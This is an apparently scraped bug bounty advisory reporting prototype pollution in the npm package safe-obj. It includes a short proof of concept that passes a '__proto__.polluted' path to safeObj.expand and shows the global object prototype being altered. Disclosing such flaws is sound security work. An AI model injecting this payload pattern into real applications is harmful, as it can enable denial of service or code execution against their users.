Lucene search

K
huntrD3v53c1-NPM-SAFE-OBJ
HistoryJan 30, 2021 - 12:00 a.m.

Prototype Pollution in tandrewnichols/safe-obj

2021-01-3000:00:00
d3v53c
www.huntr.dev
22
safe-obj
prototype pollution
information disclosure
dos
rce
bugbounty

EPSS

0.008

Percentile

82.0%

Description

safe-obj is vulnerable to Prototype Pollution.

Proof of Concept

  1. Create the following PoC file:
// poc.js
var safeObj = require("safe-obj")
var obj = {};
console.log("Before: " + {}.polluted)
safeObj.expand(obj, "__proto__.polluted", true)
console.log("After: " + {}.polluted)
  1. Execute the following commands in the terminal:
npm i safe-obj # install vulnerable package
node poc.js # run the PoC
  1. Check the output:
Before: undefined
After: true

Impact

Prototype Pollution leads to Information Disclosure/DoS/RCE.

EPSS

0.008

Percentile

82.0%